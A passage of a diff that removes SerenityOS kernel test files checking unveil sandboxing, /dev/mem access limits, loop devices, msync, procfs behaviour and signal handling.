auto res = unveil("/etc", "aaaaaaaaaaaa");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, E2BIG);
|
||||
|
||||
res = unveil("/etc", "aaaaa");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = unveil(nullptr, "r");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = unveil("/etc", nullptr);
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = unveil("", "r");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = unveil("test", "r");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = unveil("/etc", "f");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
}
|
||||
|
||||
TEST_CASE(test_failures)
|
||||
{
|
||||
auto res = unveil("/etc", "r");
|
||||
if (res < 0)
|
||||
FAIL("unveil read only failed");
|
||||
|
||||
res = unveil("/etc", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil write permitted after unveil read only");
|
||||
|
||||
res = unveil("/etc", "x");
|
||||
if (res >= 0)
|
||||
FAIL("unveil execute permitted after unveil read only");
|
||||
|
||||
res = unveil("/etc", "c");
|
||||
if (res >= 0)
|
||||
FAIL("unveil create permitted after unveil read only");
|
||||
|
||||
res = unveil("/tmp/doesnotexist", "c");
|
||||
if (res < 0)
|
||||
FAIL("unveil create on non-existent path failed");
|
||||
|
||||
res = unveil("/home", "b");
|
||||
if (res < 0)
|
||||
FAIL("unveil browse failed");
|
||||
|
||||
res = unveil("/home", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil write permitted after unveil browse only");
|
||||
|
||||
res = unveil("/home", "x");
|
||||
if (res >= 0)
|
||||
FAIL("unveil execute permitted after unveil browse only");
|
||||
|
||||
res = unveil("/home", "c");
|
||||
if (res >= 0)
|
||||
FAIL("unveil create permitted after unveil browse only");
|
||||
|
||||
res = unveil(nullptr, nullptr);
|
||||
if (res < 0)
|
||||
FAIL("unveil state lock failed");
|
||||
|
||||
res = unveil("/bin", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil permitted after unveil state locked");
|
||||
|
||||
res = access("/bin/id", F_OK);
|
||||
if (res == 0)
|
||||
FAIL("access(..., F_OK) permitted after locked veil without relevant unveil");
|
||||
}
|
|
@ -1,55 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2024, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/StringView.h>
|
||||
#include <Kernel/API/Ioctl.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int open_loop_device(int loop_device_index)
|
||||
{
|
||||
auto loop_device_path = ByteString::formatted("/dev/loop/{}", loop_device_index);
|
||||
return open(loop_device_path.view().characters_without_null_termination(), O_RDONLY);
|
||||
}
|
||||
|
||||
TEST_CASE(create_attach_and_destory_loop_device)
|
||||
{
|
||||
constexpr char const* test_path = "/tmp/create_attach_and_destory_loop_device_test";
|
||||
|
||||
int devctl_fd = open("/dev/devctl", O_RDONLY);
|
||||
VERIFY(devctl_fd >= 0);
|
||||
auto cleanup_devctl_fd_guard = ScopeGuard([&] {
|
||||
close(devctl_fd);
|
||||
});
|
||||
|
||||
u8 buf[0x1000];
|
||||
memset(buf, 0, sizeof(buf));
|
||||
int fd = open(test_path, O_RDWR | O_CREAT, 0644);
|
||||
VERIFY(fd >= 0);
|
||||
auto cleanup_fd_guard = ScopeGuard([&] {
|
||||
close(fd);
|
||||
unlink(test_path);
|
||||
});
|
||||
auto rc = write(fd, buf, sizeof(buf));
|
||||
VERIFY(rc == sizeof(buf));
|
||||
|
||||
int value = fd;
|
||||
auto create_result = ioctl(devctl_fd, DEVCTL_CREATE_LOOP_DEVICE, &value);
|
||||
EXPECT_EQ(create_result, 0);
|
||||
|
||||
auto loop_device_index = value;
|
||||
auto loop_device_fd_or_error = open_loop_device(loop_device_index);
|
||||
EXPECT(loop_device_fd_or_error >= 0);
|
||||
auto cleanup_loop_device_fd_guard = ScopeGuard([&] {
|
||||
close(loop_device_fd_or_error);
|
||||
});
|
||||
|
||||
auto destroy_result = ioctl(devctl_fd, DEVCTL_DESTROY_LOOP_DEVICE, &loop_device_index);
|
||||
EXPECT_EQ(destroy_result, 0);
|
||||
}
|
|
@ -1,108 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static u8 read_buffer[0x100000];
|
||||
|
||||
static ALWAYS_INLINE bool mem_chunk(int fd, u64 base, u64 length)
|
||||
{
|
||||
u64 mmoffset = base % sysconf(_SC_PAGESIZE);
|
||||
void* mmp = mmap(NULL, mmoffset + length, PROT_READ, MAP_SHARED, fd, base - mmoffset);
|
||||
if (mmp == MAP_FAILED)
|
||||
return false;
|
||||
if (munmap(mmp, mmoffset + length) < 0)
|
||||
perror("munmap");
|
||||
return true;
|
||||
}
|
||||
|
||||
enum class ReadResult {
|
||||
SeekFailure,
|
||||
ReadFailure,
|
||||
ReadSuccess,
|
||||
};
|
||||
|
||||
static ALWAYS_INLINE ReadResult read_chunk(int fd, u64 base, u64 length)
|
||||
{
|
||||
VERIFY(length <= sizeof(read_buffer));
|
||||
auto rs = lseek(fd, base, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to offset %" PRIi64 " while verifying: %s\n", base, strerror(errno));
|
||||
return ReadResult::SeekFailure;
|
||||
}
|
||||
if (read(fd, read_buffer, length) < 0)
|
||||
return ReadResult::ReadFailure;
|
||||
return ReadResult::ReadSuccess;
|
||||
}
|
||||
|
||||
TEST_CASE(test_memory_access_device_read)
|
||||
{
|
||||
int rc = geteuid();
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
int fd = open("/dev/mem", O_RDONLY);
|
||||
EXPECT(fd >= 0);
|
||||
|
||||
// FIXME: This is expected to work on QEMU machines (both 440FX and Q35),
|
||||
// however, it will be much nicer to have some sort of a node in the ProcFS
|
||||
// to expose physical memory ranges (e820 memory map).
|
||||
|
||||
auto read_result = read_chunk(fd, 0x0, 0x100000);
|
||||
EXPECT_EQ(read_result, ReadResult::ReadFailure);
|
||||
|
||||
read_result = read_chunk(fd, 0xe0000, 0x100000 - 0xe0000);
|
||||
EXPECT_EQ(read_result, ReadResult::ReadSuccess);
|
||||
|
||||
read_result = read_chunk(fd, 0x100000, 0x200000 - 0x100000);
|
||||
EXPECT_EQ(read_result, ReadResult::ReadFailure);
|
||||
|
||||
read_result = read_chunk(fd, 0xf0000, 70000);
|
||||
EXPECT_EQ(read_result, ReadResult::ReadFailure);
|
||||
|
||||
read_result = read_chunk(fd, 0xfffc0000, 16384);
|
||||
EXPECT_EQ(read_result, ReadResult::ReadSuccess);
|
||||
|
||||
read_result = read_chunk(fd, 0xfffc0000, 0x100000);
|
||||
EXPECT_EQ(read_result, ReadResult::ReadFailure);
|
||||
}
|
||||
|
||||
TEST_CASE(test_memory_access_device_mmap)
|
||||
{
|
||||
int rc = geteuid();
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
int fd = open("/dev/mem", O_RDONLY);
|
||||
EXPECT(fd >= 0);
|
||||
|
||||
// FIXME: This is expected to work on QEMU machines (both 440FX and Q35),
|
||||
// however, it will be much nicer to have some sort of a node in the ProcFS
|
||||
// to expose physical memory ranges (e820 memory map).
|
||||
|
||||
auto mmap_result = mem_chunk(fd, 0xe0000, 0x100000 - 0xe0000);
|
||||
EXPECT_EQ(mmap_result, true);
|
||||
|
||||
mmap_result = mem_chunk(fd, 0x100000, 0x200000 - 0x100000);
|
||||
EXPECT_EQ(mmap_result, false);
|
||||
|
||||
mmap_result = mem_chunk(fd, 0xf0000, 70000);
|
||||
EXPECT_EQ(mmap_result, false);
|
||||
|
||||
mmap_result = mem_chunk(fd, 0xfffc0000, 16384);
|
||||
EXPECT_EQ(mmap_result, true);
|
||||
|
||||
mmap_result = mem_chunk(fd, 0xfffc0000, 0x100000);
|
||||
EXPECT_EQ(mmap_result, false);
|
||||
}
|
|
@ -1,16 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
TEST_CASE(munmap_zero_page)
|
||||
{
|
||||
// munmap of the unmapped zero page should always "succeed".
|
||||
auto res = munmap(0x0, 0xF);
|
||||
EXPECT_EQ(res, 0);
|
||||
}
|
|
@ -1,74 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Andreas Kling <kling@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibCore/System.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
TEST_CASE(posix_fallocate_basics)
|
||||
{
|
||||
char pattern[] = "/tmp/posix_fallocate.XXXXXX";
|
||||
auto fd = MUST(Core::System::mkstemp(pattern));
|
||||
VERIFY(fd >= 0);
|
||||
|
||||
{
|
||||
// Valid use, grows file to new size.
|
||||
auto result = Core::System::posix_fallocate(fd, 0, 1024);
|
||||
EXPECT_EQ(result.is_error(), false);
|
||||
|
||||
auto stat = MUST(Core::System::fstat(fd));
|
||||
EXPECT_EQ(stat.st_size, 1024);
|
||||
}
|
||||
|
||||
{
|
||||
// Invalid fd (-1)
|
||||
auto result = Core::System::posix_fallocate(-1, 0, 1024);
|
||||
EXPECT_EQ(result.is_error(), true);
|
||||
EXPECT_EQ(result.error().code(), EBADF);
|
||||
}
|
||||
|
||||
{
|
||||
// Invalid length (-1)
|
||||
auto result = Core::System::posix_fallocate(fd, 0, -1);
|
||||
EXPECT_EQ(result.is_error(), true);
|
||||
EXPECT_EQ(result.error().code(), EINVAL);
|
||||
}
|
||||
|
||||
{
|
||||
// Invalid length (0)
|
||||
auto result = Core::System::posix_fallocate(fd, 0, 0);
|
||||
EXPECT_EQ(result.is_error(), true);
|
||||
EXPECT_EQ(result.error().code(), EINVAL);
|
||||
}
|
||||
|
||||
{
|
||||
// Invalid offset (-1)
|
||||
auto result = Core::System::posix_fallocate(fd, -1, 1024);
|
||||
EXPECT_EQ(result.is_error(), true);
|
||||
EXPECT_EQ(result.error().code(), EINVAL);
|
||||
}
|
||||
|
||||
MUST(Core::System::close(fd));
|
||||
}
|
||||
|
||||
TEST_CASE(posix_fallocate_on_device_file)
|
||||
{
|
||||
auto fd = MUST(Core::System::open("/dev/zero"sv, O_RDWR));
|
||||
VERIFY(fd >= 0);
|
||||
auto result = Core::System::posix_fallocate(fd, 0, 100);
|
||||
EXPECT_EQ(result.is_error(), true);
|
||||
EXPECT_EQ(result.error().code(), ENODEV);
|
||||
MUST(Core::System::close(fd));
|
||||
}
|
||||
|
||||
TEST_CASE(posix_fallocate_on_pipe)
|
||||
{
|
||||
auto pipefds = MUST(Core::System::pipe2(0));
|
||||
auto result = Core::System::posix_fallocate(pipefds[1], 0, 100);
|
||||
EXPECT_EQ(result.is_error(), true);
|
||||
EXPECT_EQ(result.error().code(), ESPIPE);
|
||||
MUST(Core::System::close(pipefds[0]));
|
||||
MUST(Core::System::close(pipefds[1]));
|
||||
}
|
|
@ -1,49 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static u8* private_ptr = nullptr;
|
||||
|
||||
static void private_non_empty_inode_vmobject_sync_signal_handler(int)
|
||||
{
|
||||
auto rc = msync(private_ptr, 0x1000, MS_ASYNC);
|
||||
EXPECT(rc == 0);
|
||||
rc = munmap(private_ptr, 0x1000);
|
||||
EXPECT(rc == 0);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
TEST_CASE(private_non_empty_inode_vmobject_sync)
|
||||
{
|
||||
{
|
||||
struct sigaction new_action {
|
||||
{ private_non_empty_inode_vmobject_sync_signal_handler }, 0, 0
|
||||
};
|
||||
int rc = sigaction(SIGBUS, &new_action, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
u8 buf[0x1000];
|
||||
memset(buf, 0, sizeof(buf));
|
||||
int fd = open("/tmp/private_non_empty_msync_test", O_RDWR | O_CREAT, 0644);
|
||||
VERIFY(fd >= 0);
|
||||
auto rc = write(fd, buf, sizeof(buf));
|
||||
VERIFY(rc == sizeof(buf));
|
||||
private_ptr = (u8*)mmap(nullptr, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
|
||||
EXPECT(private_ptr != MAP_FAILED);
|
||||
rc = msync(private_ptr, 0x2000, MS_ASYNC);
|
||||
EXPECT(rc == 0);
|
||||
private_ptr[0x1001] = 0x1;
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
|
@ -1,76 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <cstring>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_process_fd_readlink)
|
||||
{
|
||||
// Make sure that stdin, stdout and stderr are actually symlinks that point somewhere interesting
|
||||
// Sadly we can't assume that they all point to the same file.
|
||||
struct stat stat_buf = {};
|
||||
struct stat lstat_buf = {};
|
||||
auto rc = stat("/proc/self/fd/0", &stat_buf);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = lstat("/proc/self/fd/0", &lstat_buf);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_NE(0, memcmp(&stat_buf, &lstat_buf, sizeof(struct stat)));
|
||||
|
||||
stat_buf = {};
|
||||
lstat_buf = {};
|
||||
rc = stat("/proc/self/fd/1", &stat_buf);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = lstat("/proc/self/fd/1", &lstat_buf);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_NE(0, memcmp(&stat_buf, &lstat_buf, sizeof(struct stat)));
|
||||
|
||||
stat_buf = {};
|
||||
lstat_buf = {};
|
||||
rc = stat("/proc/self/fd/2", &stat_buf);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = lstat("/proc/self/fd/2", &lstat_buf);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_NE(0, memcmp(&stat_buf, &lstat_buf, sizeof(struct stat)));
|
||||
|
||||
// Create a new file descriptor that is a dup of 0 with various big values in order to reproduce issue #7820.
|
||||
// We should get the same link value for each fd that was duplicated.
|
||||
char expected_link[MAXPATHLEN];
|
||||
char buf[MAXPATHLEN];
|
||||
|
||||
// Read the symlink for stdin, stdout and stderr
|
||||
auto link_length = readlink("/proc/self/fd/0", expected_link, sizeof(expected_link));
|
||||
expected_link[link_length] = '\0';
|
||||
|
||||
// 255 is the first broken file descriptor that was discovered and might be used by other software (e.g. bash)
|
||||
auto new_fd = dup2(0, 255);
|
||||
EXPECT_EQ(new_fd, 255);
|
||||
link_length = readlink("/proc/self/fd/255", buf, sizeof(buf));
|
||||
buf[link_length] = '\0';
|
||||
EXPECT_EQ(0, strcmp(buf, expected_link));
|
||||
|
||||
// 215 is the last fd before we have to encode the fd using more than one byte (due to the offset by FI_MaxStaticFileIndex)
|
||||
new_fd = dup2(0, 215);
|
||||
EXPECT_EQ(new_fd, 215);
|
||||
link_length = readlink("/proc/self/fd/215", buf, sizeof(buf));
|
||||
buf[link_length] = '\0';
|
||||
EXPECT_EQ(0, strcmp(buf, expected_link));
|
||||
|
||||
// 216 is the first fd that is encoded using more than one byte
|
||||
new_fd = dup2(0, 216);
|
||||
EXPECT_EQ(new_fd, 216);
|
||||
link_length = readlink("/proc/self/fd/216", buf, sizeof(buf));
|
||||
buf[link_length] = '\0';
|
||||
EXPECT_EQ(0, strcmp(buf, expected_link));
|
||||
|
||||
// 1023 is the largest possible file descriptor
|
||||
new_fd = dup2(0, 1023);
|
||||
EXPECT_EQ(new_fd, 1023);
|
||||
link_length = readlink("/proc/self/fd/1023", buf, sizeof(buf));
|
||||
buf[link_length] = '\0';
|
||||
EXPECT_EQ(0, strcmp(buf, expected_link));
|
||||
}
|
|
@ -1,43 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(check_root)
|
||||
{
|
||||
auto uid = geteuid();
|
||||
// This test only makes sense as root.
|
||||
EXPECT_EQ(uid, 0u);
|
||||
|
||||
// Before we make the process dumpable, become "fully" root, so that the user cannot tamper with our memory:
|
||||
EXPECT_EQ(setuid(0), 0);
|
||||
|
||||
// If running as setuid, the process is automatically marked as non-dumpable, which bars access to /proc/self/.
|
||||
// However, that is the easiest guess for a /proc/$PID/ directory, so we'd like to use that.
|
||||
// In order to do so, mark this process as dumpable:
|
||||
EXPECT_EQ(prctl(PR_SET_DUMPABLE, 1, 0, 0), 0);
|
||||
}
|
||||
|
||||
TEST_CASE(root_writes_to_procfs)
|
||||
{
|
||||
int fd = open("/proc/self/unveil", O_RDWR | O_APPEND | O_CREAT, 0666); // = 6
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
dbgln("fd was {}", fd);
|
||||
FAIL("open failed?! See debugout");
|
||||
return;
|
||||
}
|
||||
|
||||
int rc = write(fd, "hello", 5);
|
||||
perror("write");
|
||||
dbgln("write rc = {}", rc);
|
||||
if (rc >= 0) {
|
||||
FAIL("Wrote successfully?!");
|
||||
}
|
||||
}
|
|
@ -1,49 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static u8* shared_ptr = nullptr;
|
||||
|
||||
static void shared_non_empty_inode_vmobject_sync_signal_handler(int)
|
||||
{
|
||||
auto rc = msync(shared_ptr, 0x1000, MS_ASYNC);
|
||||
EXPECT(rc == 0);
|
||||
rc = munmap(shared_ptr, 0x1000);
|
||||
EXPECT(rc == 0);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
TEST_CASE(shared_non_empty_inode_vmobject_sync)
|
||||
{
|
||||
{
|
||||
struct sigaction new_action {
|
||||
{ shared_non_empty_inode_vmobject_sync_signal_handler }, 0, 0
|
||||
};
|
||||
int rc = sigaction(SIGBUS, &new_action, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
u8 buf[0x1000];
|
||||
memset(buf, 0, sizeof(buf));
|
||||
int fd = open("/tmp/shared_non_empty_msync_test", O_RDWR | O_CREAT, 0644);
|
||||
VERIFY(fd >= 0);
|
||||
auto rc = write(fd, buf, sizeof(buf));
|
||||
VERIFY(rc == sizeof(buf));
|
||||
shared_ptr = (u8*)mmap(nullptr, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
EXPECT(shared_ptr != MAP_FAILED);
|
||||
rc = msync(shared_ptr, 0x2000, MS_ASYNC);
|
||||
EXPECT(rc == 0);
|
||||
shared_ptr[0x1001] = 0x1;
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
|
@ -1,57 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Idan Horowitz <idan.horowitz@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Platform.h>
|
||||
|
||||
#if defined(AK_COMPILER_CLANG)
|
||||
# pragma clang optimize off
|
||||
#else
|
||||
# pragma GCC optimize("O0")
|
||||
#endif
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_handler(int)
|
||||
{
|
||||
// We execute this syscall in order to force the kernel to perform the syscall precondition validation which
|
||||
// checks that we have correctly set up the stack region to match our currently implemented protections.
|
||||
getuid();
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Winfinite-recursion"
|
||||
static size_t infinite_recursion(size_t input)
|
||||
{
|
||||
return infinite_recursion(input) + 1;
|
||||
}
|
||||
#pragma GCC diagnostic pop
|
||||
|
||||
// This test can only pass with sigaltstack correctly enabled, as otherwise the SIGSEGV signal handler itself would also fault due to the overflown stack.
|
||||
TEST_CASE(success_case)
|
||||
{
|
||||
static u8 alt_stack[SIGSTKSZ];
|
||||
stack_t ss = {
|
||||
.ss_sp = alt_stack,
|
||||
.ss_flags = 0,
|
||||
.ss_size = SIGSTKSZ,
|
||||
};
|
||||
auto res = sigaltstack(&ss, nullptr);
|
||||
EXPECT_EQ(res, 0);
|
||||
|
||||
struct sigaction sa;
|
||||
sa.sa_handler = signal_handler;
|
||||
sa.sa_flags = SA_ONSTACK;
|
||||
res = sigfillset(&sa.sa_mask);
|
||||
EXPECT_EQ(res, 0);
|
||||
res = sigaction(SIGSEGV, &sa, 0);
|
||||
EXPECT_EQ(res, 0);
|
||||
|
||||
(void)infinite_recursion(0);
|
||||
FAIL("Infinite recursion finished successfully");
|
||||
}
|
|
@ -1,78 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Tim Schumacher <timschumi@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_handler(int)
|
||||
{
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
TEST_CASE(default_handlers)
|
||||
{
|
||||
struct sigaction current_action { };
|
||||
|
||||
int rc = sigaction(SIGUSR2, nullptr, ¤t_action);
|
||||
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(current_action.sa_handler, SIG_DFL);
|
||||
}
|
||||
|
||||
TEST_CASE(handlers_after_fork)
|
||||
{
|
||||
struct sigaction new_action {
|
||||
{ signal_handler }, 0, 0
|
||||
};
|
||||
int rc = sigaction(SIGUSR2, &new_action, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
pid_t pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
struct sigaction current_action { };
|
||||
rc = sigaction(SIGUSR2, nullptr, ¤t_action);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(current_action.sa_handler, signal_handler);
|
||||
exit(rc == 0 && current_action.sa_handler == signal_handler ? EXIT_SUCCESS : EXIT_FAILURE);
|
||||
} else {
|
||||
int exit_status = 0;
|
||||
rc = waitpid(pid, &exit_status, 0);
|
||||
EXPECT_EQ(rc, pid);
|
||||
EXPECT(WIFEXITED(exit_status));
|
||||
EXPECT_EQ(WEXITSTATUS(exit_status), 0);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(handlers_after_exec)
|
||||
{
|
||||
struct sigaction new_action {
|
||||
{ signal_handler }, 0, 0
|
||||
};
|
||||
int rc = sigaction(SIGUSR2, &new_action, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
pid_t pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
// Hide the confusing "Running 1 cases out of 3" output.
|
||||
freopen("/dev/null", "w", stdout);
|
||||
|
||||
// This runs the 'default_handlers' test in this binary again, but after exec.
|
||||
execl("/proc/self/exe", "TestSigHandler", "default_handlers", nullptr);
|
||||
FAIL("Failed to exec.");
|
||||
} else {
|
||||
int exit_status = 0;
|
||||
rc = waitpid(pid, &exit_status, 0);
|
||||
EXPECT_EQ(rc, pid);
|
||||
EXPECT(WIFEXITED(exit_status));
|
||||
EXPECT_EQ(WEXITSTATUS(exit_status), 0);
|
||||
}
|
||||
}
|
|
@ -1,179 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Idan Horowitz <idan.horowitz@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <signal.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(sigwait)
|
||||
{
|
||||
sigset_t mask;
|
||||
|
||||
int rc = sigemptyset(&mask);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigaddset(&mask, SIGUSR1);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
int child_pid = fork();
|
||||
EXPECT(child_pid >= 0);
|
||||
if (child_pid == 0) {
|
||||
sleep(1);
|
||||
kill(getppid(), SIGUSR1);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
int sig;
|
||||
rc = sigwait(&mask, &sig);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(sig, SIGUSR1);
|
||||
}
|
||||
|
||||
// cancel pending signal
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_default, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
sigset_t pending;
|
||||
rc = sigpending(&pending);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(pending, 0u);
|
||||
}
|
||||
|
||||
TEST_CASE(sigwaitinfo)
|
||||
{
|
||||
sigset_t mask;
|
||||
|
||||
int rc = sigemptyset(&mask);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigaddset(&mask, SIGUSR1);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
int child_pid = fork();
|
||||
EXPECT(child_pid >= 0);
|
||||
if (child_pid == 0) {
|
||||
sleep(1);
|
||||
kill(getppid(), SIGUSR1);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
siginfo_t info;
|
||||
rc = sigwaitinfo(&mask, &info);
|
||||
EXPECT_EQ(rc, SIGUSR1);
|
||||
EXPECT_EQ(info.si_signo, SIGUSR1);
|
||||
}
|
||||
|
||||
// cancel pending signal
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_default, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
sigset_t pending;
|
||||
rc = sigpending(&pending);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(pending, 0u);
|
||||
}
|
||||
|
||||
TEST_CASE(sigtimedwait_normal)
|
||||
{
|
||||
sigset_t mask;
|
||||
|
||||
int rc = sigemptyset(&mask);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigaddset(&mask, SIGUSR1);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
int child_pid = fork();
|
||||
EXPECT(child_pid >= 0);
|
||||
if (child_pid == 0) {
|
||||
sleep(1);
|
||||
kill(getppid(), SIGUSR1);
|
||||
exit(EXIT_SUCCESS);
|
